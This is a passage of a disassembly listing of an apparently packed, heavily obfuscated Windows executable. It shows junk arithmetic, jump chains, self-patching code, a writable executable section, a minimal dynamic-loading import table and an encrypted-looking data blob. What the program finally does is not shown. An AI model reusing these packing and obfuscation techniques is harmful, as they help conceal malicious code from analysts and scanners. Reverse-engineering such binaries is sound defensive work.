		mov	eax, 7C71BA25h
		jmp	loc_44253E
; ---------------------------------------------------------------------------
		mov	eax, 0EFFDE014h
		call	sub_44137A

loc_44E276:				; CODE XREF: y22d6.y.:0044D813j
		jmp	nullsub_315
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_44E27B:				; CODE XREF: sub_448EB6+21A7j
		jmp	nullsub_274
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447BB2

loc_44E280:				; CODE XREF: sub_447BB2+37A6j
		pushf
		push	0B9B4BFB7h
		pop	ecx
		and	ecx, 24D0F570h

loc_44E28D:				; CODE XREF: y22d6.y.:0043C705j
		or	ecx, 0D6CD5931h
		jmp	loc_44B291
; END OF FUNCTION CHUNK	FOR sub_447BB2
; ---------------------------------------------------------------------------
		add	esi, ecx
		jmp	loc_438BF8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4416CB

loc_44E29F:				; CODE XREF: sub_4416CB-8171j
		jge	loc_4444E2

loc_44E2A5:				; CODE XREF: sub_446FE9+9j
		jmp	loc_4397EE
; END OF FUNCTION CHUNK	FOR sub_4416CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A5E5

loc_44E2AA:				; CODE XREF: sub_44A5E5-13419j
		jmp	sub_43EF0B
; END OF FUNCTION CHUNK	FOR sub_44A5E5
; ---------------------------------------------------------------------------
		sub	edi, ecx
		jmp	loc_4444DA

; =============== S U B	R O U T	I N E =======================================



sub_44E2B6	proc near		; CODE XREF: sub_439051:loc_44368Ej

; FUNCTION CHUNK AT 0043B668 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0043FF77 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044102B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445D71 SIZE 0000000E BYTES

		push	ebx
		push	38E7FDE6h
		pop	ebx
		or	ebx, 6C63A030h
		rol	ebx, 11h
		cmp	ebx, 1BBE5572h
		jmp	loc_44102B
sub_44E2B6	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DA5D

loc_44E2D1:				; CODE XREF: sub_43DA5D+B23Bj
		push	0
		call	sub_44CEB8
; END OF FUNCTION CHUNK	FOR sub_43DA5D
; START	OF FUNCTION CHUNK FOR sub_447940

loc_44E2D8:				; CODE XREF: sub_447940:loc_445281j
		jmp	loc_43941D
; END OF FUNCTION CHUNK	FOR sub_447940
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B7D4

loc_44E2DD:				; CODE XREF: sub_43B7D4:loc_44636Aj
					; sub_43B7D4+AD68j
		push	0A93D539Fh
		pop	eax
		sub	eax, 0CF613B41h
		xor	eax, 0CA92F30Ah
		add	eax, ebp
		add	eax, 0ECB114A8h
		jmp	loc_44B703
; END OF FUNCTION CHUNK	FOR sub_43B7D4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B252

loc_44E2FC:				; CODE XREF: sub_43B252:loc_4376DCj
					; sub_43B252+63AEj
		push	50E7247Ch
		pop	eax
		or	eax, 8A9B4E7Dh
		cmp	eax, 5E2328D5h
		jmp	loc_43D896
; END OF FUNCTION CHUNK	FOR sub_43B252

; =============== S U B	R O U T	I N E =======================================



sub_44E313	proc near		; DATA XREF: y22d6.y.:loc_4417E7o

; FUNCTION CHUNK AT 004471C5 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		mov	edx, eax
		call	sub_44D088
		pop	edx
		pop	eax

loc_44E31F:				; CODE XREF: y22d6.y.:004382F3j
		jmp	loc_4471C5
sub_44E313	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

locret_44E324:				; CODE XREF: y22d6.y.:00448EB1j
		retn
; ---------------------------------------------------------------------------

loc_44E325:				; CODE XREF: y22d6.y.:0044C3CCj
		jmp	locret_4403DF
; ---------------------------------------------------------------------------

loc_44E32A:				; CODE XREF: y22d6.y.:004437F4j
		jmp	loc_4499B0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F422

loc_44E32F:				; CODE XREF: sub_43F422-714Aj
		jmp	loc_44C5F7
; END OF FUNCTION CHUNK	FOR sub_43F422
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E139

loc_44E334:				; CODE XREF: sub_43E139:loc_43A0FEj
		mov	byte ptr [eax],	0C3h
		jmp	loc_43F4E5
; END OF FUNCTION CHUNK	FOR sub_43E139

; =============== S U B	R O U T	I N E =======================================



sub_44E33C	proc near		; CODE XREF: sub_414DEC+35p
					; DATA XREF: r69pu5ti:off_41E118o

; FUNCTION CHUNK AT 0043D84B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00449B86 SIZE 00000010 BYTES

		jnb	loc_43D84B
		mov	eax, ds:dword_444B00
		call	sub_44374A

loc_44E34D:				; CODE XREF: sub_4432B8+59B4j
		jmp	loc_449B86
sub_44E33C	endp

; ---------------------------------------------------------------------------

loc_44E352:				; CODE XREF: y22d6.y.:00444DDCj
		jmp	loc_443F6B

; =============== S U B	R O U T	I N E =======================================



sub_44E357	proc near		; CODE XREF: y22d6.y.:004375D3j
					; y22d6.y.:loc_43A2D2p

; FUNCTION CHUNK AT 00441642 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441F1B SIZE 00000013 BYTES

		xchg	esi, [esp+0]
		pop	esi
		add	eax, [ebp-8]

loc_44E35E:				; CODE XREF: y22d6.y.:00448762j
		mov	[ebp-24h], eax
		push	733022D1h
		pop	eax
		jmp	loc_441642
sub_44E357	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44E36C:				; CODE XREF: y22d6.y.:loc_43CB92j
					; DATA XREF: sub_43D8B5+1o
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		pop	ebp
		jmp	loc_4425FC
; ---------------------------------------------------------------------------

loc_44E377:				; CODE XREF: y22d6.y.:loc_44D7CEj
		mov	ds:dword_41E16C, eax
		lea	eax, nullsub_19
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_19

; =============== S U B	R O U T	I N E =======================================



sub_44E38B	proc near		; CODE XREF: sub_40EA45+27p
					; y22d6.y.:004383C0j
					; DATA XREF: ...

; FUNCTION CHUNK AT 00437E73 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043ABAE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D48B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442D03 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00444C7C SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044B8B8 SIZE 00000011 BYTES

		push	eax
		push	0DBB64063h
		pop	eax
		or	eax, 7A83D751h
		add	eax, 5D7B87E6h

loc_44E39E:				; CODE XREF: sub_43C3DD-7FEj
		jmp	loc_437E73
sub_44E38B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44825F

loc_44E3A3:				; CODE XREF: sub_44825F:loc_43FB22j
		add	edx, 0F938A12Dh
		mov	[edx], eax
		pop	edx
		push	offset loc_44B89C
		jmp	nullsub_279
; END OF FUNCTION CHUNK	FOR sub_44825F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44190B

loc_44E3B6:				; CODE XREF: sub_44190B:loc_449302j
		xchg	edx, [esp+0]
		jmp	sub_44D293
; END OF FUNCTION CHUNK	FOR sub_44190B
; ---------------------------------------------------------------------------
		sub	ebp, esi
		jmp	loc_44C17C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C242

loc_44E3C5:				; CODE XREF: sub_43C242+6DE0j
		jz	loc_44024C
		jmp	loc_4405BE
; END OF FUNCTION CHUNK	FOR sub_43C242

; =============== S U B	R O U T	I N E =======================================



sub_44E3D0	proc near		; CODE XREF: y22d6.y.:00437D87j
					; sub_43B98D+8606p
		xchg	ebx, [esp+0]
		pop	ebx
		or	dword ptr [eax-8], 8
		jmp	loc_43A882
sub_44E3D0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D025

loc_44E3DD:				; CODE XREF: sub_43D025+4j
					; sub_447AE3+7j
		push	offset loc_43B51F
		jmp	nullsub_280
; END OF FUNCTION CHUNK	FOR sub_43D025
; ---------------------------------------------------------------------------
		pop	edi
		jmp	sub_445E41
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449C1B

loc_44E3ED:				; CODE XREF: sub_449C1B:loc_44AE64j
					; sub_449C1B+4888j
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_44951A
		jmp	loc_440BB0
; END OF FUNCTION CHUNK	FOR sub_449C1B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4408F2

loc_44E3FE:				; CODE XREF: sub_4408F2+11j
		pop	ebx
		rol	ebx, 13h
		sub	ebx, 0E99D23CDh
		call	sub_44B33D

loc_44E40D:				; CODE XREF: sub_44D8F4+7j
		jmp	loc_43961D
; END OF FUNCTION CHUNK	FOR sub_4408F2
; ---------------------------------------------------------------------------

loc_44E412:				; CODE XREF: y22d6.y.:0043F6B5j
		jmp	sub_43CA1A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4441D9

loc_44E417:				; CODE XREF: sub_4441D9+Aj
		pop	edx
		add	edx, 7E08FADBh
		sub	edx, ds:4000E1h
		test	edx, 10h
		jmp	loc_437676
; END OF FUNCTION CHUNK	FOR sub_4441D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440494

loc_44E42F:				; CODE XREF: sub_440494+55A9j
		pop	ebx
		and	edi, 0F93DD9DFh
		cmp	edi, 0CE10A128h
		jmp	loc_43DAD9
; END OF FUNCTION CHUNK	FOR sub_440494
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445362

loc_44E441:				; CODE XREF: sub_445362+Cj
		jz	loc_43B749
		jmp	loc_43F1D3
; END OF FUNCTION CHUNK	FOR sub_445362
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CFF2

loc_44E44C:				; CODE XREF: sub_43CFF2-F41j
		pop	eax
		rol	esi, 1Dh
		xor	esi, 3835F10Bh
		rol	esi, 9
		sub	esi, 0E49D9B57h
		add	esi, 0EE3AED5Ch
		jmp	loc_445CCC
; END OF FUNCTION CHUNK	FOR sub_43CFF2
; ---------------------------------------------------------------------------

loc_44E46A:				; CODE XREF: y22d6.y.:loc_4492F8j
		pop	edi
		and	edi, 0BEE12DD6h
		add	edi, 0E021D42Ah
		mov	[edi], eax
		pop	edi
		jmp	loc_437AF2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442856

loc_44E47F:				; CODE XREF: sub_442856:loc_439847j
		sub	al, 99h
		push	0FA2F8777h
		pop	edx
		add	edx, 1791542Fh
		sub	edx, 2A035736h
		rol	edx, 1
		jmp	loc_4470F6
; END OF FUNCTION CHUNK	FOR sub_442856
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449C1B

loc_44E49A:				; CODE XREF: sub_449C1B+124Fj
		popf
		sub	ebx, ecx
		jg	loc_43AA27
		jmp	loc_44E3ED
; END OF FUNCTION CHUNK	FOR sub_449C1B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43ECDD

loc_44E4A8:				; CODE XREF: sub_43ECDD:loc_439D81j
		xor	eax, edx
		pop	edx
		ror	eax, 1Fh
		push	offset loc_44E60B
		jmp	nullsub_283
; END OF FUNCTION CHUNK	FOR sub_43ECDD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E185

loc_44E4B8:				; CODE XREF: sub_43E185:loc_43858Fj
		mov	[edx], ebx
		xchg	eax, [ebp+0]
		cmp	ebp, 0BE6BF716h
		jmp	loc_438ABA
; END OF FUNCTION CHUNK	FOR sub_43E185
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C6D7

loc_44E4C8:				; CODE XREF: sub_43C6D7+3968j
		shl	ecx, 0Eh

loc_44E4CB:				; CODE XREF: sub_43C6D7:loc_4370ECj
		push	5D73C864h
		pop	eax
		xor	eax, 7647B568h
		and	eax, 6366A4ADh
		sub	eax, 9703DEE3h
		add	eax, 911FF788h
		push	edi
		jmp	loc_445F78
; END OF FUNCTION CHUNK	FOR sub_43C6D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4477E6

loc_44E4EF:				; CODE XREF: sub_4477E6:loc_438BAFj
		cmp	al, 0A4h
		jz	loc_439AF8
		jmp	loc_44E025
; END OF FUNCTION CHUNK	FOR sub_4477E6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_44E4FC:				; CODE XREF: sub_448EB6:loc_44906Dj
		jz	loc_438D00
		jmp	loc_439C24
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A9DF

loc_44E507:				; CODE XREF: sub_44A9DF:loc_440B91j
		push	offset sub_44BA8D
		jmp	nullsub_285
; END OF FUNCTION CHUNK	FOR sub_44A9DF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B252

loc_44E511:				; CODE XREF: sub_43B252:loc_44485Aj
		jz	loc_43DDA6
		jmp	loc_43F6E0
; END OF FUNCTION CHUNK	FOR sub_43B252

; =============== S U B	R O U T	I N E =======================================



sub_44E51C	proc near		; CODE XREF: sub_437901+12422p
					; y22d6.y.:0044D348j

; FUNCTION CHUNK AT 0043A30D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0043C855 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442D6C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004451C7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449443 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B9D8 SIZE 00000006 BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	0A6B008C4h
		pop	esi
		jmp	loc_449443
sub_44E51C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_44E52B	proc near		; DATA XREF: sub_43C712:loc_442024o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00448DAB SIZE 0000000D BYTES

		rol	eax, 12h
		push	esi
		push	0B666EA0h
		pop	esi
		add	esi, 0DB1F74D1h
		xor	esi, 16A019EAh
		jmp	loc_448DAB
sub_44E52B	endp

; ---------------------------------------------------------------------------

loc_44E546:				; CODE XREF: y22d6.y.:004379A9j
		or	eax, ds:4000E6h
		and	eax, 2CA7FBF4h
		test	eax, 8000h
		jmp	loc_4462D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4400D5

loc_44E55D:				; CODE XREF: sub_4400D5-3169j
		mov	ebx, ecx

loc_44E55F:				; CODE XREF: sub_4400D5:loc_43CF60j
		add	ecx, 3C30FEA5h
		mov	[ecx], eax
		pop	ecx
		lea	eax, sub_44D3B1
		jmp	loc_44E22A
; END OF FUNCTION CHUNK	FOR sub_4400D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444427

loc_44E573:				; CODE XREF: sub_444427:loc_442CC4j
		pop	ebx
		rol	ebx, 0Fh
		add	ebx, 4F19D779h
		xchg	ebx, [esp+4+var_4]
		jmp	loc_441A50
; END OF FUNCTION CHUNK	FOR sub_444427
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B09B

loc_44E585:				; CODE XREF: sub_43B09B:loc_43EAAAj
		jz	loc_449195
		jmp	loc_444EA9
; END OF FUNCTION CHUNK	FOR sub_43B09B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C7F1

loc_44E590:				; CODE XREF: y22d6.y.:loc_43A6CBj
					; sub_44C7F1-441Bj
		movzx	eax, word ptr [ebp-6]

loc_44E594:				; CODE XREF: y22d6.y.:0044B53Fj
		mov	[ebp-1Ch], eax
; END OF FUNCTION CHUNK	FOR sub_44C7F1
; START	OF FUNCTION CHUNK FOR sub_44928B

loc_44E597:				; CODE XREF: sub_44928B:loc_44E149j
		mov	eax, [ebp-18h]
		push	edi
		call	sub_441E5C

loc_44E5A0:				; CODE XREF: sub_43A1FA:loc_441E05j
		sub	eax, 0A4AEBC65h
		or	eax, 72BAA07Ch
		add	eax, 89850D3Ah
		xchg	eax, [esp+0]
		jmp	loc_43B28C
; END OF FUNCTION CHUNK	FOR sub_44928B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439A90

loc_44E5BA:				; CODE XREF: y22d6.y.:loc_43B483j
					; sub_439A90+90BBj
		xchg	edx, [esi]
		jmp	loc_448F4B
; END OF FUNCTION CHUNK	FOR sub_439A90
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_178. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4383E0

loc_44E5C2:				; CODE XREF: sub_4383E0+4117j
		jmp	loc_445EB1
; END OF FUNCTION CHUNK	FOR sub_4383E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44E5C7	proc near		; CODE XREF: sub_44E1BD-141A6p
					; y22d6.y.:004411FFp ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00437867 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00438934 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00438A28 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043A985 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0043AE0C SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0043AFA2 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0043B6D1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C52F SIZE 00000003 BYTES
; FUNCTION CHUNK AT 0043CCE7 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0043DB66 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043E6A6 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00441858 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044207B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044260F SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00442A00 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00442CED SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00444BA4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445AF7 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00447A42 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00447B4D SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00447D5A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004489D5 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0044A06B SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044CD60 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D47B SIZE 0000000E BYTES

		push	ebp

loc_44E5C8:				; CODE XREF: sub_44A359:loc_43E2F2j
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		jmp	loc_43AE0C
sub_44E5C7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CBD3

loc_44E5D6:				; CODE XREF: sub_43CBD3:loc_44DECEj
		jz	loc_4404B5
		jmp	loc_43F7D4
; END OF FUNCTION CHUNK	FOR sub_43CBD3
; ---------------------------------------------------------------------------
		xchg	ebx, [eax]
		push	5418A1F2h
		jmp	sub_44BF7B
; ---------------------------------------------------------------------------
		mov	eax, 0C684C00Ch
		call	sub_43CA1A
		mov	ds:off_41E078, eax
		lea	eax, loc_44C527
		mov	byte ptr [eax],	0C3h
		jmp	loc_43977A
; ---------------------------------------------------------------------------

loc_44E60B:				; DATA XREF: sub_43ECDD+F7D1o
		mov	edx, [esp]
		push	eax
		mov	eax, edx
		call	sub_440F6A
		mov	eax, [esp]
		push	eax
		push	1271838Fh
		jmp	loc_441CBE
; ---------------------------------------------------------------------------

loc_44E624:				; CODE XREF: y22d6.y.:0043F9CDj
		xchg	edi, [esp]
		pop	edi
		mov	eax, [esp]
		push	edx
		call	sub_43F891
; START	OF FUNCTION CHUNK FOR sub_438A94

loc_44E631:				; CODE XREF: sub_438A94+12229j
		jmp	sub_44B06F
; END OF FUNCTION CHUNK	FOR sub_438A94
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_65. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A148

loc_44E637:				; CODE XREF: sub_43A148+7j
		jmp	loc_4408EF
; END OF FUNCTION CHUNK	FOR sub_43A148

; =============== S U B	R O U T	I N E =======================================



sub_44E63C	proc near		; DATA XREF: sub_448EB6-5C28o

; FUNCTION CHUNK AT 0043B829 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D354 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0043F33F SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0043F904 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043FEA2 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00443C70 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044716F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00449CDD SIZE 00000008 BYTES

		call	sub_4481AF
		push	esi
		push	0FCF86B82h
		pop	esi
		and	esi, 0ADB364ABh
		xor	esi, 6DF3597Dh
		add	esi, ebp
		add	esi, 3EBCC5F9h
		jmp	loc_43D354
sub_44E63C	endp

; ---------------------------------------------------------------------------

loc_44E661:				; CODE XREF: y22d6.y.:0043DDD7j
		xor	edi, ebp
; START	OF FUNCTION CHUNK FOR sub_444D45

loc_44E663:				; CODE XREF: sub_444D45:loc_437A5Cj
		and	eax, 57BBFF7h
		xor	eax, 0DE3CB935h
		push	edi
		push	3E767F81h
		pop	edi
		jmp	loc_43CD11
; END OF FUNCTION CHUNK	FOR sub_444D45
; ---------------------------------------------------------------------------

loc_44E67B:				; CODE XREF: y22d6.y.:00445FECj
		or	eax, eax
		jnz	loc_44BFC5
		jmp	loc_43FEB5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438A94

loc_44E688:				; CODE XREF: sub_438A94+F5E3j
		or	esi, 59F3DD1Bh
		rol	esi, 1Eh
		sub	esi, 76F6398Eh
		or	esi, 0A682166Dh
		add	esi, 58B83682h
		xchg	esi, [esp+4+var_4]
		jmp	loc_44E180
; END OF FUNCTION CHUNK	FOR sub_438A94
; ---------------------------------------------------------------------------

loc_44E6AB:				; DATA XREF: sub_447527:loc_43C446o
		pushf
		push	offset loc_44AF23
		jmp	loc_43F4A4
; ---------------------------------------------------------------------------
		dw 0F77Ah
		dd 0BE1F99E4h, 0D1D256D4h, 356F8A99h, 0C4E1h, 24Eh dup(0)
y22d6_y_	ends

; Section 7. (virtual address 0004F000)
; Virtual size			: 00028000 ( 163840.)
; Section size in file		: 00028000 ( 163840.)
; Offset to raw	data for section: 0004F000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
isk1wxzg	segment	para public 'CODE' use32
		assume cs:isk1wxzg
		;org 44F000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		db 0CCh
		db 0F0h, 4, 0
		align 8
		dd 0FFFFFFFFh, 4F03Ch, 4F0B4h, 4F108h, 0
		dd 0FFFFFFFFh, 4F0E8h, 4F104h, 5 dup(0)
		dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0
		dd 65470000h, 646F4D74h, 48656C75h, 6C646E61h, 4165h, 6F4C0000h
		dd 694C6461h, 72617262h, 4179h,	65470000h, 6F725074h, 64644163h
		dd 73736572h, 0
		dd 78450000h, 72507469h, 7365636Fh, 73h, 69560000h, 61757472h
		dd 6C6C416Ch, 636Fh, 69560000h,	61757472h, 6572466Ch, 65h
dword_44F0B4	dd 77E79F93h		; DATA XREF: sub_4760A2+28r
dword_44F0B8	dd 77E805D8h		; DATA XREF: sub_4760A2+37r
dword_44F0BC	dd 77E7A5FDh		; DATA XREF: sub_4760A2+8Er
dword_44F0C0	dd 77E75CB5h		; DATA XREF: isk1wxzg:00474C2Fr
					; isk1wxzg:0047503Bo ...
dword_44F0C4	dd 77E7980Ah, 77E79E34h, 4F04Ch, 4F060h, 4F070h, 4F084h
					; DATA XREF: sub_47627E+1Eo
		dd 4F094h, 4F0A4h, 0
		dd 72657375h, 642E3233h, 6C6Ch,	654D0000h, 67617373h, 786F4265h
		dd 41h
dword_44F104	dd 77D6ADD7h		; DATA XREF: sub_47615A+64r
		dd 4F0F4h, 0
off_44F110	dd offset off_41E000, 4	dup(0) ; DATA XREF: sub_476204+16o
		dd 400h, 15h dup(0)
		dd 5000h, 0
		dd 3EFF0000h, 5D75018Dh, 41077A02h, 4F481108h, 31931131h
		dd 1F0E0230h, 30056018h, 7932029Ch, 6B0016FEh, 14250B01h
		dd 4F594A05h, 3D02722Bh, 2D71186Bh, 4D0F0A2Ah, 1F369A1Eh
		dd 1181018h, 0DA91883h,	83340C54h, 270A4D10h, 4935AE06h
		dd 5AA6E05h, 0CD4E3B20h, 3142490Fh, 2B5D0407h, 1A154828h
		dd 2B9B1402h, 48770E2Eh, 0D0B07C9h, 280000FEh, 441519Ch
		dd 110E0104h, 59B0816h,	17380707h, 0E4129373h, 80140C0Fh
		dd 0A2F3C30h, 3A0A08C4h, 24416224h, 20AC558h, 770E2957h
		dd 902832Dh, 430F020Eh,	344C6084h, 51130F4Bh, 0C221116h
		dd 1255802h, 4B31520Ah,	2B36949h, 0C0D5A0Fh, 281A104Eh
		dd 3B8B2C10h, 2120020Ah, 0F020701h, 0B78D1253h,	320F2C02h
		dd 2876254Dh, 5AD8902h,	34375011h, 15950B42h, 37842305h
		dd 240D7A46h, 91B012Eh,	5C082306h, 6C790212h, 72F0F02h
		dd 2500B4FEh, 8909020Ch, 1CFE13h, 134C006h, 7715130Dh
		dd 1E01FC98h, 91A0D17h,	57100297h, 0DF1B2E10h, 60CB13Eh
		dd 3CB30674h, 0F4327AB2h, 8D131861h, 7500705h, 252C560Ch
		dd 2D205102h, 997A110Ch, 11340128h, 1D541021h, 3974243Bh
		dd 1547017Fh, 2160701h,	2C8E273Dh, 0E81622Eh, 42FE02h
		dd 245F1728h, 5C4D3676h, 174F1749h, 0FE72111Dh,	0B150139h
		dd 0D7E2607h, 1C02545Ah, 2C09115Bh, 20021602h, 0BFE1D02h
		dd 5C5F7C00h, 92182E05h, 0F222F0Fh, 2D1B1A1Dh, 11006FFEh
		dd 3F0D9F0Bh, 110E143Bh, 6B070902h, 928B201h, 52211229h
		dd 1A0F6E01h, 9125A4Dh,	846022Ch, 3E0D011Fh, 9A2F363Ch
		dd 2070107h, 478C5513h,	351D2D44h, 354F510Ah, 441D3207h
		dd 1E632546h, 7380370Eh, 6B1D9B33h, 1F342CF6h, 15020A6Ah
		dd 3902ED31h, 1F3C341Eh, 7AD1415h, 2251529h, 1D640926h
		dd 66001CFEh, 5A026102h, 0E1011A02h, 986071Ch, 7750200Fh
		dd 0C312A79h, 0F0239A8h, 276193Ah, 0F201845h, 1F450D07h
		dd 1F022386h, 3F022C1Ch, 383D0129h, 4302C692h, 0F2D3E16h
		dd 14694AAh, 33499D26h,	1F022A84h, 5E7C420Dh, 85182016h
		dd 5ABC5641h, 0D081926h, 5D521E09h, 2504CC0Ah, 2302848Fh
		dd 29319002h, 4D074D8Eh, 0FE0E2A2Bh, 0AAB3002Bh, 2262405h
		dd 1C59081Eh, 520A0230h, 72B8360Eh, 48055D02h, 341E6532h
		dd 6356C102h, 2112217h,	0E783162Fh, 230028FEh, 22023C7Eh
		dd 3D43390Bh, 644C3C0Bh, 22A3701h, 37022A84h, 62C0154h
		dd 5C0C0F07h, 26C820Dh,	4359080Fh, 31201134h, 442C0658h
		dd 47378E51h, 5A56020Ch, 6DFE102Ah, 0FE090200h,	11420011h
		dd 2100240h, 5112242Dh,	14107405h, 42C6EA62h, 43022722h
		dd 9240782h, 61113C4h, 186F2B2Eh, 0F022407h, 5E200D34h
		dd 0BC6A1920h, 1D22192Dh, 1328024Eh, 91520141h,	40B66E1Dh
		dd 20068FEh, 4E020B0Fh,	66160B13h, 2173D93h, 21D012Fh
		dd 0F175A65h, 180DBC20h, 1E225C26h, 1F090217h, 0C053FA6h
		dd 1EA2054Bh, 12204608h, 7F573D02h, 0A1123405h,	7495107h
		dd 0FE2D010Ah, 5AC7000Eh, 488A1411h, 1F021F02h,	5A85F68h
		dd 0C0B3B44h, 9D022E02h, 0BB72D94h, 111124C4h, 131A0C11h
		dd 310207A3h, 4F012635h, 7C402C17h, 4FE6Dh, 3B81675Dh
		dd 100020FEh, 2BF2A2Ch,	4A4B024Eh, 0CC236B72h, 0A7F029Bh
		dd 257145Ch, 243F511Ch,	22029107h, 522D2232h, 3B1EA47Dh
		dd 6D257E07h, 12E6A921h, 0E8FE5934h, 27477F01h,	201E0A14h
		dd 65394790h, 132020Fh,	0A316438Eh, 20025D0Fh, 2D9FA001h
		dd 23A330Ah, 55865915h,	151E5E33h, 6156822h, 8AFE0591h
		dd 35300307h, 1205172Ah, 2E022820h, 2140F02h, 51023718h
		dd 2E676B0Dh, 1D392409h, 201A0F3Ah, 14D0738h, 1F2E1290h
